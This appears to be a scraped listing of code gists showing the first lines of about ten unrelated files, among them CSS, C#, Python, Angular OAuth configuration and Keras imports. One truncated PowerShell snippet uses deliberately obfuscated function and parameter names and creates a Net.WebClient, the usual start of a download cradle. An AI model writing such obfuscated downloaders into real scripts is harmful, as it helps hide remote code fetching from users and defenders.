This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| .item { | |
| display: grid; | |
| place-items: center; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using Microsoft.EntityFrameworkCore; | |
| namespace EFCoreExample | |
| { | |
| internal class Program | |
| { | |
| // Install Microsoft.EntityFrameworkCore and Microsoft.EntityFrameworkCore.SqlServer nuget packages. | |
| private static void Main(string[] args) | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os,sys | |
| parentdir = os.path.dirname(__file__) | |
| sys.path.insert(0,parentdir) |
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function wsqbz() { | |
| Param( | |
| [Parameter(Mandatory=$True, Position=0)] | |
| [string] $iqnowurpmz, | |
| [Parameter(Mandatory=$True, Position=1)] | |
| [string] $cosbnypz | |
| ) | |
| $hjvsk = New-Object Net.WebClient |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { Injectable } from '@angular/core'; | |
| import { AuthConfig, JwksValidationHandler, OAuthService, LoginOptions } from 'angular-oauth2-oidc'; | |
| import { JwtHelperService } from '@auth0/angular-jwt'; | |
| import { filter } from 'rxjs/operators'; | |
| import { HttpHeaders } from '@angular/common/http'; | |
| @Injectable({ | |
| providedIn: 'root' | |
| }) | |
| export class InitialAuthService { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { Injectable } from '@angular/core'; | |
| import { AuthConfig, JwksValidationHandler, OAuthService, LoginOptions } from 'angular-oauth2-oidc'; | |
| import { JwtHelperService } from '@auth0/angular-jwt'; | |
| import { filter } from 'rxjs/operators'; | |
| import { HttpHeaders } from '@angular/common/http'; | |
| @Injectable({ | |
| providedIn: 'root' | |
| }) | |
| export class InitialAuthService { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { APP_INITIALIZER, NgModule } from '@angular/core'; | |
| import { AuthConfig, OAuthModule } from 'angular-oauth2-oidc'; | |
| import { InitialAuthService } from './initial-auth.service'; | |
| const origin = 'http://localhost:4200'; | |
| const issuer = 'https://dev-09ixy5yn.auth0.com'; | |
| const clientId = 'FuDdsYDpESTGjE4BWcAE4l0F8Ebc8SjI'; | |
| // const issuer = 'https://philly-vanilly.auth0.com'; | |
| // const clientId = 'r4gL1ntxR2lnodnu81WFnWNOWdO5SFuV'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!doctype html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="utf-8"> | |
| <title>BrytPage</title> | |
| <base href="/"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1"> | |
| <link rel="icon" type="image/x-icon" href="favicon.ico"> | |
| <link | |
| href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pprint import pprint | |
| from tatsu import parse | |
| grammar = ''' | |
| @@grammar::Grammar | |
| start = 'if' ['happens that'] expression ['then'] ['return'] ['error']$ ; | |
| expression = condition [and condition]; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # standard libraries in Anaconda Python | |
| import numpy as np | |
| import matplotlib.pyplot as plt | |
| #keras imports - requires keras and tensorflow | |
| import keras | |
| from keras.models import Sequential | |
| from keras.layers import Dense, Dropout | |
| from keras.optimizers import RMSprop |